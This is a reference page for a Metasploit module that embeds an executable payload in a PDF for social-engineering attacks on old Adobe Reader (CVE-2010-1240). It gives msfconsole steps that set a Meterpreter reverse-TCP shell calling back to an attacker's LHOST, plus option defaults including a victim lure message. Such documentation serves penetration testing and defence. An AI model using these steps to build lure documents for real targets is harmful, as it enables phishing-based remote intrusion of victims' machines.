Adobe PDF Embedded EXE Social Engineering
This module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack.
Exploit Rank
- Excellent
Exploit Authors
- Colin Ames < amesc [at] attackresearch.com >
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2010-1240
- OSVDB-63667
- http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/
- http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/
- http://blog.didierstevens.com/2010/03/29/escape-from-pdf/
Exploit Targets
- 0 - Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish) (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/fileformat/a-pdf_wav_to_mp3
- exploit/windows/fileformat/acdsee_fotoslate_string
- exploit/windows/fileformat/acdsee_xpm
- exploit/windows/fileformat/activepdf_webgrabber
- exploit/windows/fileformat/adobe_collectemailinfo
- exploit/windows/fileformat/adobe_cooltype_sing
- exploit/windows/fileformat/adobe_flashplayer_button
- exploit/windows/fileformat/adobe_flashplayer_newfunction
- exploit/windows/fileformat/adobe_flatedecode_predictor02
- exploit/windows/fileformat/adobe_geticon
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > show payloads
msf exploit(adobe_pdf_embedded_exe) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_pdf_embedded_exe) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME [STRING]
msf exploit(adobe_pdf_embedded_exe) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > show payloads
msf exploit(adobe_pdf_embedded_exe) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_pdf_embedded_exe) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME [STRING]
msf exploit(adobe_pdf_embedded_exe) > exploit
Exploit Module Options
| EXENAME | The Name of payload exe. |
| FILENAME | The output filename. (default: evil.pdf) |
| INFILENAME | The Input PDF filename. |
| LAUNCH_MESSAGE | The message to display in the File: area (default: To view the encrypted content please tick the "Do not show this message again" box and press Open.) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |